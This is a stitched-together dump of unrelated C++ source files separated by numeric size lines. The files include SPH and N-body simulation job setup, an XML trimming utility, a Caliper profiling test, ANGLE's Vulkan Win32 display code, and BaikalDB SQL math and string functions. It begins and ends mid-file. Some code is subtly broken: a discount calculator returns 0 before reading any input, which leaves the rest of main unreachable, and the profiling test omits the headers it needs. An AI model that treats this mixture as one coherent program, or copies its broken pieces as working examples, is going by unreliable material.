scriptCat.connect<bool>("Enable script", settings, RunSettingsId::SPH_SCRIPT_ENABLE);
scriptCat.connect<Path>("Script file", settings, RunSettingsId::SPH_SCRIPT_FILE)
.setEnabler(scriptEnabler)
.setPathType(IVirtualEntry::PathType::INPUT_FILE)
.setFileFormats({ { "Chaiscript script", "chai" } });
scriptCat.connect<Float>("Script period [s]", settings, RunSettingsId::SPH_SCRIPT_PERIOD)
.setEnabler(scriptEnabler);
scriptCat.connect<bool>("Run only once", settings, RunSettingsId::SPH_SCRIPT_ONESHOT)
.setEnabler(scriptEnabler);
addGravityCategory(connector, settings);
addOutputCategory(connector, settings, *this);
addLoggerCategory(connector, settings);
return connector;
}
AutoPtr<IRun> SphJob::getRun(const RunSettings& overrides) const {
SPH_ASSERT(overrides.size() < 15); // not really required, just checking that we don't override everything
const BoundaryEnum boundary = settings.get<BoundaryEnum>(RunSettingsId::DOMAIN_BOUNDARY);
SharedPtr<IDomain> domain;
if (boundary != BoundaryEnum::NONE) {
domain = this->getInput<IDomain>("boundary");
}
RunSettings run = overrideSettings(settings, overrides, isResumed);
if (!run.getFlags<ForceEnum>(RunSettingsId::SPH_SOLVER_FORCES).has(ForceEnum::SOLID_STRESS)) {
run.set(RunSettingsId::SPH_STRAIN_RATE_CORRECTION_TENSOR, false);
}
return makeAuto<SphRun>(run, domain);
}
static JobRegistrar sRegisterSph(
"SPH run",
"simulations",
[](const std::string& name) { return makeAuto<SphJob>(name, EMPTY_SETTINGS); },
"Runs a SPH simulation, using provided initial conditions.");
// ----------------------------------------------------------------------------------------------------------
// SphStabilizationJob
// ----------------------------------------------------------------------------------------------------------
class SphStabilizationRun : public SphRun {
public:
using SphRun::SphRun;
virtual void setUp(SharedPtr<Storage> storage) override {
AutoPtr<IBoundaryCondition> bc = Factory::getBoundaryConditions(settings, domain);
solver = makeAuto<StabilizationSolver>(*scheduler, settings, std::move(bc));
for (Size matId = 0; matId < storage->getMaterialCnt(); ++matId) {
solver->create(*storage, storage->getMaterial(matId));
}
}
};
VirtualSettings SphStabilizationJob::getSettings() {
VirtualSettings connector = SphJob::getSettings();
VirtualSettings::Category& stabCat = connector.addCategory("Stabilization");
stabCat.connect<Float>("Damping coefficient", settings, RunSettingsId::SPH_STABILIZATION_DAMPING);
return connector;
}
AutoPtr<IRun> SphStabilizationJob::getRun(const RunSettings& overrides) const {
RunSettings run = overrideSettings(settings, overrides, isResumed);
const BoundaryEnum boundary = settings.get<BoundaryEnum>(RunSettingsId::DOMAIN_BOUNDARY);
SharedPtr<IDomain> domain;
if (boundary != BoundaryEnum::NONE) {
domain = this->getInput<IDomain>("boundary");
}
return makeAuto<SphStabilizationRun>(run, domain);
}
static JobRegistrar sRegisterSphStab(
"SPH stabilization",
"stabilization",
"simulations",
[](const std::string& name) { return makeAuto<SphStabilizationJob>(name, EMPTY_SETTINGS); },
"Runs a SPH simulation with a damping term, suitable for stabilization of non-equilibrium initial "
"conditions.");
// ----------------------------------------------------------------------------------------------------------
// NBodyJob
// ----------------------------------------------------------------------------------------------------------
class NBodyRun : public IRun {
private:
bool useSoft;
public:
NBodyRun(const RunSettings& run, const bool useSoft)
: useSoft(useSoft) {
settings = run;
scheduler = Factory::getScheduler(settings);
}
virtual void setUp(SharedPtr<Storage> storage) override {
logger = Factory::getLogger(settings);
const bool aggregateEnable = settings.get<bool>(RunSettingsId::NBODY_AGGREGATES_ENABLE);
const AggregateEnum aggregateSource =
settings.get<AggregateEnum>(RunSettingsId::NBODY_AGGREGATES_SOURCE);
if (aggregateEnable) {
AutoPtr<AggregateSolver> aggregates = makeAuto<AggregateSolver>(*scheduler, settings);
aggregates->createAggregateData(*storage, aggregateSource);
solver = std::move(aggregates);
} else if (useSoft) {
solver = makeAuto<SoftSphereSolver>(*scheduler, settings);
} else {
solver = makeAuto<HardSphereSolver>(*scheduler, settings);
}
NullMaterial mtl(BodySettings::getDefaults());
solver->create(*storage, mtl);
setPersistentIndices(*storage);
}
virtual void tearDown(const Storage& storage, const Statistics& stats) override {
output->dump(storage, stats);
}
};
NBodyJob::NBodyJob(const std::string& name, const RunSettings& overrides)
: IRunJob(name) {
settings = getDefaultSettings(name);
settings.addEntries(overrides);
}
RunSettings NBodyJob::getDefaultSettings(const std::string& name) {
const Interval timeRange(0, 1.e6_f);
RunSettings settings;
settings.set(RunSettingsId::RUN_NAME, name)
.set(RunSettingsId::RUN_TYPE, RunTypeEnum::NBODY)
.set(RunSettingsId::TIMESTEPPING_INTEGRATOR, TimesteppingEnum::LEAP_FROG)
.set(RunSettingsId::TIMESTEPPING_INITIAL_TIMESTEP, 0.01_f)
.set(RunSettingsId::TIMESTEPPING_MAX_TIMESTEP, 10._f)
.set(RunSettingsId::TIMESTEPPING_CRITERION, TimeStepCriterionEnum::ACCELERATION)
.set(RunSettingsId::TIMESTEPPING_DERIVATIVE_FACTOR, 0.2_f)
.set(RunSettingsId::RUN_START_TIME, timeRange.lower())
.set(RunSettingsId::RUN_END_TIME, timeRange.upper())
.set(RunSettingsId::RUN_OUTPUT_INTERVAL, timeRange.size() / 10)
.set(RunSettingsId::RUN_OUTPUT_TYPE, IoEnum::NONE)
.set(RunSettingsId::RUN_OUTPUT_NAME, getIdentifier(name) + "_%d.ssf")
.set(RunSettingsId::RUN_VERBOSE_NAME, getIdentifier(name) + ".log")
.set(RunSettingsId::SPH_FINDER, FinderEnum::KD_TREE)
.set(RunSettingsId::GRAVITY_SOLVER, GravityEnum::BARNES_HUT)
.set(RunSettingsId::GRAVITY_KERNEL, GravityKernelEnum::SOLID_SPHERES)
.set(RunSettingsId::GRAVITY_OPENING_ANGLE, 0.8_f)
.set(RunSettingsId::FINDER_LEAF_SIZE, 20)
.set(RunSettingsId::COLLISION_HANDLER, CollisionHandlerEnum::MERGE_OR_BOUNCE)
.set(RunSettingsId::COLLISION_OVERLAP, OverlapEnum::PASS_OR_MERGE)
.set(RunSettingsId::COLLISION_RESTITUTION_NORMAL, 0.5_f)
.set(RunSettingsId::COLLISION_RESTITUTION_TANGENT, 1._f)
.set(RunSettingsId::COLLISION_ALLOWED_OVERLAP, 0.01_f)
.set(RunSettingsId::COLLISION_BOUNCE_MERGE_LIMIT, 4._f)
.set(RunSettingsId::COLLISION_ROTATION_MERGE_LIMIT, 1._f)
.set(RunSettingsId::NBODY_INERTIA_TENSOR, false)
.set(RunSettingsId::NBODY_MAX_ROTATION_ANGLE, 0.01_f)
.set(RunSettingsId::RUN_THREAD_GRANULARITY, 100);
return settings;
}
VirtualSettings NBodyJob::getSettings() {
VirtualSettings connector;
addGenericCategory(connector, instName);
addTimeSteppingCategory(connector, settings, isResumed);
addGravityCategory(connector, settings);
VirtualSettings::Category& aggregateCat = connector.addCategory("Aggregates (experimental)");
aggregateCat.connect<bool>("Enable aggregates", settings, RunSettingsId::NBODY_AGGREGATES_ENABLE);
aggregateCat.connect<EnumWrapper>("Initial aggregates", settings, RunSettingsId::NBODY_AGGREGATES_SOURCE)
.setEnabler([this] { return settings.get<bool>(RunSettingsId::NBODY_AGGREGATES_ENABLE); });
VirtualSettings::Category& softCat = connector.addCategory("Soft-body physics (experimental)");
softCat.connect("Enable soft-body", "soft.enable", useSoft);
softCat.connect<Float>("Repel force strength", settings, RunSettingsId::SOFT_REPEL_STRENGTH)
.setEnabler([this] { return useSoft; });
softCat.connect<Float>("Friction force strength", settings, RunSettingsId::SOFT_FRICTION_STRENGTH)
.setEnabler([this] { return useSoft; });
auto collisionEnabler = [this] {
return !useSoft && !settings.get<bool>(RunSettingsId::NBODY_AGGREGATES_ENABLE) &&
settings.get<CollisionHandlerEnum>(RunSettingsId::COLLISION_HANDLER) !=
CollisionHandlerEnum::NONE;
};
auto mergeLimitEnabler = [this] {
if (useSoft) {
return false;
}
const CollisionHandlerEnum handler =
settings.get<CollisionHandlerEnum>(RunSettingsId::COLLISION_HANDLER);
if (handler == CollisionHandlerEnum::NONE) {
return false;
}
const bool aggregates = settings.get<bool>(RunSettingsId::NBODY_AGGREGATES_ENABLE);
const OverlapEnum overlap = settings.get<OverlapEnum>(RunSettingsId::COLLISION_OVERLAP);
return aggregates || handler == CollisionHandlerEnum::MERGE_OR_BOUNCE ||
overlap == OverlapEnum::PASS_OR_MERGE || overlap == OverlapEnum::REPEL_OR_MERGE;
};
VirtualSettings::Category& collisionCat = connector.addCategory("Collisions");
collisionCat.connect<EnumWrapper>("Collision handler", settings, RunSettingsId::COLLISION_HANDLER)
.setEnabler([this] { //
return !useSoft && !settings.get<bool>(RunSettingsId::NBODY_AGGREGATES_ENABLE);
});
collisionCat.connect<EnumWrapper>("Overlap handler", settings, RunSettingsId::COLLISION_OVERLAP)
.setEnabler(collisionEnabler);
collisionCat.connect<Float>("Normal restitution", settings, RunSettingsId::COLLISION_RESTITUTION_NORMAL)
.setEnabler(collisionEnabler);
collisionCat
.connect<Float>("Tangential restitution", settings, RunSettingsId::COLLISION_RESTITUTION_TANGENT)
.setEnabler(collisionEnabler);
collisionCat.connect<Float>("Merge velocity limit", settings, RunSettingsId::COLLISION_BOUNCE_MERGE_LIMIT)
.setEnabler(mergeLimitEnabler);
collisionCat
.connect<Float>("Merge rotation limit", settings, RunSettingsId::COLLISION_ROTATION_MERGE_LIMIT)
.setEnabler(mergeLimitEnabler);
addLoggerCategory(connector, settings);
addOutputCategory(connector, settings, *this);
return connector;
}
AutoPtr<IRun> NBodyJob::getRun(const RunSettings& overrides) const {
RunSettings run = overrideSettings(settings, overrides, isResumed);
return makeAuto<NBodyRun>(run, useSoft);
}
static JobRegistrar sRegisterNBody(
"N-body run",
"simulations",
[](const std::string& name) { return makeAuto<NBodyJob>(name, EMPTY_SETTINGS); },
"Runs N-body simulation using given initial conditions.");
NAMESPACE_SPH_END
| 27,585 | 9,080 |
/*
* Copyright (c) 2000 - 2015 Samsung Electronics Co., Ltd All Rights Reserved
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License
*
*
* @file parser.cpp
* @author Maciej Karpiuk (m.karpiuk2@samsung.com)
* @version 1.0
* @brief XML parser class implementation.
*/
#include <string>
#include <sstream>
#include <algorithm>
#include <xml-utils.h>
namespace {
const char * const WHITESPACE = " \n\r\t\v";
const char * const LINE_WHITESPACE = " \r\t\v";
std::string trim_left(const std::string& s, const char *whitespaces)
{
size_t startpos = s.find_first_not_of(whitespaces);
return (startpos == std::string::npos) ? "" : s.substr(startpos);
}
std::string trim_right(const std::string& s, const char *whitespaces)
{
size_t endpos = s.find_last_not_of(whitespaces);
return (endpos == std::string::npos) ? "" : s.substr(0, endpos+1);
}
std::string trim(const std::string& s, const char *whitespaces)
{
return trim_right(trim_left(s, whitespaces), whitespaces);
}
}
namespace CKM {
namespace XML {
template <typename T>
T removeChars(const T& input, const char *what)
{
T out(input);
auto endit = std::remove_if(out.begin(), out.end(),
[what](char c)
{
for (const char *ptr = what; *ptr; ++ptr)
if (*ptr == c)
return true;
return false;
});
out.erase(endit, out.end());
return out;
}
RawBuffer removeWhiteChars(const RawBuffer &buffer)
{
return removeChars(buffer, WHITESPACE);
}
std::string trimEachLine(const std::string& input)
{
std::stringstream ss(input);
std::stringstream output;
std::string line;
while (std::getline(ss, line, '\n')) {
auto afterTrim = ::trim(line, LINE_WHITESPACE);
if (!afterTrim.empty())
output << afterTrim << std::endl;
}
return output.str();
}
std::string trim(const std::string &s)
{
return removeChars(s, WHITESPACE);
}
} // namespace XML
} // namespace CKM
| 2,535 | 860 |
// --- Caliper continuous integration test app for basic trace test
#define _XOPEN_SOURCE
#include <unistd.h> /* usleep */
#include "caliper/cali.h"
#include "caliper/cali-manager.h"
#include <string>
// test C and C++ macros
void foo(int count, int sleep_usec)
{
CALI_CXX_MARK_FUNCTION;
CALI_MARK_BEGIN("pre-loop");
CALI_WRAP_STATEMENT("foo.init", count = std::max(1, count));
CALI_MARK_END("pre-loop");
CALI_MARK_LOOP_BEGIN(fooloop, "fooloop");
for (int i = 0; i < count; ++i) {
CALI_MARK_ITERATION_BEGIN(fooloop, i);
if (sleep_usec > 0)
usleep(sleep_usec);
CALI_MARK_ITERATION_END(fooloop);
}
CALI_MARK_LOOP_END(fooloop);
}
int main(int argc, char* argv[])
{
int sleep_usec = 0;
if (argc > 1)
sleep_usec = std::stoi(argv[1]);
cali::ConfigManager mgr;
if (argc > 2)
if (std::string(argv[2]) != "none")
mgr.add(argv[2]);
if (mgr.error()) {
std::cerr << mgr.error_msg() << std::endl;
return -1;
}
mgr.start();
CALI_MARK_FUNCTION_BEGIN;
int count = 4;
if (argc > 3)
count = std::max(1, std::stoi(argv[3]));
CALI_CXX_MARK_LOOP_BEGIN(mainloop, "mainloop");
for (int i = 0; i < count; ++i) {
CALI_CXX_MARK_LOOP_ITERATION(mainloop, i);
foo(count, sleep_usec);
}
CALI_CXX_MARK_LOOP_END(mainloop);
CALI_MARK_FUNCTION_END;
mgr.flush();
}
| 1,453 | 653 |
#include "time_line.hpp"
TimeLine applyDurations(const DifTimeLine& dtline, Time start) {
TimeLine rv{start};
for (auto duration: dtline.durations) {
start += duration;
rv.push_back(start);
}
return rv;
}
| 242 | 87 |
#include <iostream>
using namespace std;
int main (void){
double up,qty,discr,total,disct,payable;
int width =20;
cout.width(width);
cout.setf(ios::left);
return 0;
cout << "Enter Unit Price" << ": ";
cin >> up;
cout.width(width);
cout.setf(ios::left);
cout << "Enter Quantity" << ": ";
cin >> qty;
cout.width(width);
cout.setf(ios::left);
cout << "Enter Discount Rate" << ": ";
cin >>discr;
cout << "\n\n\n";
total = up*qty;
disct = total*discr/100;
payable = total - disct;
cout.width(width);
cout.fill('.');
cout.setf(ios::fixed);
cout << "Total Price is" <<": " << "Rs ";
cout.precision(2);
cout.fill(' ');
cout.width(10);
cout.setf(ios::right);
cout << total <<endl;
cout.width(width);
cout.fill('.');
cout.unsetf(ios::right);
cout << "Discount is" <<": "<< "Rs ";
cout.fill(' ');
cout.width(10);
cout.precision(2);
cout.setf(ios::right);
cout << disct<<endl;
cout.unsetf(ios::right);cout.width(width);cout.fill('.');cout.precision(2);cout.setf(ios::fixed);
cout << "Payable is" << ": "<<"Rs ";
cout.width(10);
cout.fill(' ');
cout.setf(ios::right);
cout <<payable<<endl;
}
| 1,224 | 496 |
//
// Copyright 2016 The ANGLE Project Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// DisplayVkWin32.cpp:
// Implements the class methods for DisplayVkWin32.
//
#include "libANGLE/renderer/vulkan/win32/DisplayVkWin32.h"
#include "libANGLE/renderer/vulkan/DisplayVk.h"
#include "libANGLE/renderer/vulkan/RendererVk.h"
#include <windows.h>
#include "libANGLE/renderer/vulkan/vk_caps_utils.h"
#include "libANGLE/renderer/vulkan/vk_headers.h"
#include "libANGLE/renderer/vulkan/win32/WindowSurfaceVkWin32.h"
namespace rx
{
DisplayVkWin32::DisplayVkWin32(const egl::DisplayState &state)
: DisplayVk(state), mWindowClass(NULL), mDummyWindow(nullptr)
{}
DisplayVkWin32::~DisplayVkWin32() {}
void DisplayVkWin32::terminate()
{
if (mDummyWindow)
{
DestroyWindow(mDummyWindow);
mDummyWindow = nullptr;
}
if (mWindowClass)
{
if (!UnregisterClassA(reinterpret_cast<const char *>(mWindowClass),
GetModuleHandle(nullptr)))
{
WARN() << "Failed to unregister ANGLE window class: " << gl::FmtHex(mWindowClass);
}
mWindowClass = NULL;
}
DisplayVk::terminate();
}
bool DisplayVkWin32::isValidNativeWindow(EGLNativeWindowType window) const
{
return (IsWindow(window) == TRUE);
}
SurfaceImpl *DisplayVkWin32::createWindowSurfaceVk(const egl::SurfaceState &state,
EGLNativeWindowType window)
{
return new WindowSurfaceVkWin32(state, window);
}
egl::Error DisplayVkWin32::initialize(egl::Display *display)
{
ANGLE_TRY(DisplayVk::initialize(display));
HINSTANCE hinstance = GetModuleHandle(nullptr);
std::ostringstream stream;
stream << "ANGLE DisplayVkWin32 " << gl::FmtHex(display) << " Intermediate Window Class";
const LPSTR idcArrow = MAKEINTRESOURCEA(32512);
std::string className = stream.str();
WNDCLASSA wndClass;
if (!GetClassInfoA(hinstance, className.c_str(), &wndClass))
{
WNDCLASSA intermediateClassDesc = {};
intermediateClassDesc.style = CS_OWNDC;
intermediateClassDesc.lpfnWndProc = DefWindowProcA;
intermediateClassDesc.cbClsExtra = 0;
intermediateClassDesc.cbWndExtra = 0;
intermediateClassDesc.hInstance = GetModuleHandle(nullptr);
intermediateClassDesc.hIcon = nullptr;
intermediateClassDesc.hCursor = LoadCursorA(nullptr, idcArrow);
intermediateClassDesc.hbrBackground = 0;
intermediateClassDesc.lpszMenuName = nullptr;
intermediateClassDesc.lpszClassName = className.c_str();
mWindowClass = RegisterClassA(&intermediateClassDesc);
if (!mWindowClass)
{
return egl::EglNotInitialized()
<< "Failed to register intermediate OpenGL window class \"" << className.c_str()
<< "\":" << gl::FmtErr(HRESULT_CODE(GetLastError()));
}
}
mDummyWindow =
CreateWindowExA(0, reinterpret_cast<const char *>(mWindowClass), "ANGLE Dummy Window",
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, nullptr, nullptr, nullptr, nullptr);
if (!mDummyWindow)
{
return egl::EglNotInitialized() << "Failed to create dummy OpenGL window.";
}
VkSurfaceKHR surfaceVk;
VkWin32SurfaceCreateInfoKHR info = {VK_STRUCTURE_TYPE_WIN32_SURFACE_CREATE_INFO_KHR, nullptr, 0,
GetModuleHandle(nullptr), mDummyWindow};
VkInstance instance = mRenderer->getInstance();
VkPhysicalDevice physDevice = mRenderer->getPhysicalDevice();
if (vkCreateWin32SurfaceKHR(instance, &info, nullptr, &surfaceVk) != VK_SUCCESS)
{
return egl::EglNotInitialized() << "vkCreateWin32SurfaceKHR failed";
}
uint32_t surfaceFormatCount;
if (vkGetPhysicalDeviceSurfaceFormatsKHR(physDevice, surfaceVk, &surfaceFormatCount, nullptr) !=
VK_SUCCESS)
{
return egl::EglNotInitialized() << "vkGetPhysicalDeviceSurfaceFormatsKHR failed";
}
mSurfaceFormats.resize(surfaceFormatCount);
if (vkGetPhysicalDeviceSurfaceFormatsKHR(physDevice, surfaceVk, &surfaceFormatCount,
mSurfaceFormats.data()) != VK_SUCCESS)
{
return egl::EglNotInitialized() << "vkGetPhysicalDeviceSurfaceFormatsKHR (2nd) failed";
}
vkDestroySurfaceKHR(instance, surfaceVk, nullptr);
DestroyWindow(mDummyWindow);
mDummyWindow = nullptr;
return egl::NoError();
}
egl::ConfigSet DisplayVkWin32::generateConfigs()
{
constexpr GLenum kColorFormats[] = {GL_RGB565, GL_BGRA8_EXT, GL_BGRX8_ANGLEX, GL_RGB10_A2_EXT,
GL_RGBA16F_EXT};
return egl_vk::GenerateConfigs(kColorFormats, egl_vk::kConfigDepthStencilFormats, this);
}
bool DisplayVkWin32::checkConfigSupport(egl::Config *config)
{
const vk::Format &formatVk = this->getRenderer()->getFormat(config->renderTargetFormat);
VkFormat nativeFormat = formatVk.vkImageFormat;
// If the format list includes just one entry of VK_FORMAT_UNDEFINED,
// the surface has no preferred format. Otherwise, at least one
// supported format will be returned.
if (mSurfaceFormats.size() == 1u && mSurfaceFormats[0].format == VK_FORMAT_UNDEFINED)
{
return true;
}
for (const VkSurfaceFormatKHR &surfaceFormat : mSurfaceFormats)
{
if (surfaceFormat.format == nativeFormat)
{
return true;
}
}
return false;
}
const char *DisplayVkWin32::getWSIExtension() const
{
return VK_KHR_WIN32_SURFACE_EXTENSION_NAME;
}
bool IsVulkanWin32DisplayAvailable()
{
return true;
}
DisplayImpl *CreateVulkanWin32Display(const egl::DisplayState &state)
{
return new DisplayVkWin32(state);
}
} // namespace rx
| 6,051 | 2,030 |
/*
* This C++ source file was generated by the Gradle 'init' task.
*/
#include <iostream>
#include <stdlib.h>
#include "cpplib.h"
std::string jniexample::Greeter::greeting() {
return std::string("Hello, World! From C++");
}
| 232 | 83 |
// Copyright (c) 2018-present Baidu, Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "internal_functions.h"
#include <openssl/md5.h>
#include "hll_common.h"
#include "datetime.h"
#include <boost/date_time/gregorian/gregorian.hpp>
#include <cctype>
#include <cmath>
#include <algorithm>
namespace baikaldb {
static const int32_t DATE_FORMAT_LENGTH = 128;
static const std::vector<std::string> day_names = {
"Sunday", "Monday", "Tuesday", "Wednesday",
"Thursday", "Friday", "Saturday"};
static const std::vector<std::string> month_names = {
"January", "February", "March", "April", "May",
"June", "July", "August", "September",
"October", "November", "December"};
ExprValue round(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
int bits = input.size() == 2 ? input[1].get_numberic<int>() : 0;
double base = std::pow(10, bits);
double orgin = input[0].get_numberic<double>();
ExprValue tmp(pb::DOUBLE);
if (base > 0) {
if (orgin < 0) {
tmp._u.double_val = -::round(-orgin * base) / base;
} else {
tmp._u.double_val = ::round(orgin * base) / base;
}
}
return tmp;
}
ExprValue floor(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::INT64);
tmp._u.int64_val = ::floor(input[0].get_numberic<double>());
return tmp;
}
ExprValue ceil(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::INT64);
tmp._u.int64_val = ::ceil(input[0].get_numberic<double>());
return tmp;
}
ExprValue abs(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = ::abs(input[0].get_numberic<double>());
return tmp;
}
ExprValue sqrt(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
double val = input[0].get_numberic<double>();
if (val < 0) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::sqrt(val);
return tmp;
}
ExprValue mod(const std::vector<ExprValue>& input) {
if (input.size() < 2 || input[0].is_null() || input[1].is_null()) {
return ExprValue::Null();
}
double rhs = input[1].get_numberic<double>();
if (float_equal(rhs, 0)) {
return ExprValue::Null();
}
double lhs = input[0].get_numberic<double>();
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::fmod(lhs, rhs);
return tmp;
}
ExprValue rand(const std::vector<ExprValue>& input) {
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = butil::fast_rand_double();
return tmp;
}
ExprValue sign(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::INT64);
double val = input[0].get_numberic<double>();
tmp._u.int64_val = val > 0 ? 1 : (val < 0 ? -1 : 0);
return tmp;
}
ExprValue sin(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::sin(input[0].get_numberic<double>());
return tmp;
}
ExprValue asin(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
double val = input[0].get_numberic<double>();
if (val < -1 || val > 1) {
return ExprValue::Null();
}
tmp._u.double_val = std::asin(val);
return tmp;
}
ExprValue cos(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::cos(input[0].get_numberic<double>());
return tmp;
}
ExprValue acos(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
double val = input[0].get_numberic<double>();
if (val < -1 || val > 1) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::acos(val);
return tmp;
}
ExprValue tan(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::tan(input[0].get_numberic<double>());
return tmp;
}
ExprValue cot(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
double val = input[0].get_numberic<double>();
double sin_val = std::sin(val);
double cos_val = std::cos(val);
if (float_equal(sin_val, 0)) {
return ExprValue::Null();
}
tmp._u.double_val = cos_val/sin_val;
return tmp;
}
ExprValue atan(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::atan(input[0].get_numberic<double>());
return tmp;
}
ExprValue ln(const std::vector<ExprValue>& input) {
if (input.size() < 1 || input[0].is_null()) {
return ExprValue::Null();
}
double val = input[0].get_numberic<double>();
if (val <= 0) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::log(input[0].get_numberic<double>());
return tmp;
}
ExprValue log(const std::vector<ExprValue>& input) {
if (input.size() < 2 || input[0].is_null() || input[1].is_null()) {
return ExprValue::Null();
}
double base = input[0].get_numberic<double>();
double val = input[1].get_numberic<double>();
if (base <= 0 || val <= 0 || base == 1) {
return ExprValue::Null();
}
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::log(val) / std::log(base);
return tmp;
}
ExprValue pow(const std::vector<ExprValue>& input) {
if (input.size() < 2 || input[0].is_null() || input[1].is_null()) {
return ExprValue::Null();
}
double base = input[0].get_numberic<double>();
double exp = input[1].get_numberic<double>();
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = std::pow(base, exp);
return tmp;
}
ExprValue pi(const std::vector<ExprValue>& input) {
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = M_PI;
return tmp;
}
ExprValue greatest(const std::vector<ExprValue>& input) {
bool find_flag = false;
double ret = std::numeric_limits<double>::lowest();
for (const auto& item : input) {
if (item.is_null()) {
return ExprValue::Null();
} else {
double val = item.get_numberic<double>();
if (!find_flag) {
find_flag = true;
ret = val;
} else {
if (val > ret) {
ret = val;
}
}
}
}
if (find_flag) {
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = ret;
return tmp;
} else {
return ExprValue::Null();
}
}
ExprValue least(const std::vector<ExprValue>& input) {
bool find_flag = false;
double ret = std::numeric_limits<double>::max();
for (const auto& item : input) {
if (item.is_null()) {
return ExprValue::Null();
} else {
double val = item.get_numberic<double>();
if (!find_flag) {
find_flag = true;
ret = val;
} else {
if (val < ret) {
ret = val;
}
}
}
}
if (find_flag) {
ExprValue tmp(pb::DOUBLE);
tmp._u.double_val = ret;
return tmp;
} else {
return ExprValue::Null();
}
}
ExprValue length(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::UINT32);
tmp._u.uint32_val = input[0].get_string().size();
return tmp;
}
ExprValue bit_length(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::UINT32);
tmp._u.uint32_val = input[0].get_string().size() * 8;
return tmp;
}
ExprValue lower(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].get_string();
std::transform(tmp.str_val.begin(), tmp.str_val.end(), tmp.str_val.begin(), ::tolower);
return tmp;
}
ExprValue lower_gbk(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].get_string();
std::string& literal = tmp.str_val;
size_t idx = 0;
while (idx < literal.size()) {
if ((literal[idx] & 0x80) != 0) {
idx += 2;
} else {
literal[idx] = tolower(literal[idx]);
idx++;
}
}
return tmp;
}
ExprValue upper(const std::vector<ExprValue>& input) {
if (input.size() == 0 || input[0].is_null()) {
return ExprValue::Null();
}
ExprValue tmp(pb::STRING);
tmp.str_val = input[0].get_string();
std::transform(tmp.str_val.begin(), tmp.str_val.end(), tmp.str_val.begin(), ::toupper);
return tmp;
}
ExprValue concat(const std::vector<ExprValue>& input) {
ExprValue tmp(pb::STRING);
for (auto& s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
tmp.str_val += s.get_string();
}
return tmp;
}
ExprValue substr(const std::vector<ExprValue>& input) {
if (input.size() < 2) {
return ExprValue::Null();
}
for (auto& s : input) {
if (s.is_null()) {
return ExprValue::Null();
}
}
std::string str = input[0].get_string();
ExprValue tmp(pb::STRING);
int pos = input[1].get_numberic<int>();
if (pos < 0) {
pos = str.size() + pos;
} else {
--pos;
}
if (pos < 0 || pos >= (int)str.size()) {
return tmp;
}
int len = -1;
if (input.size() == 3) {
len = input[2].get_numberic<int>();
if (len <= 0) {
return tmp;
}
}
tmp.str_val = str;
if (len == -1) {
tmp.str_val = tmp.str_val.substr(pos);
} else {
tmp.str_val = tmp.str_val.substr(pos, len);
}
return tmp;
}
ExprValue left(const std::vector<ExprValue>& input) {
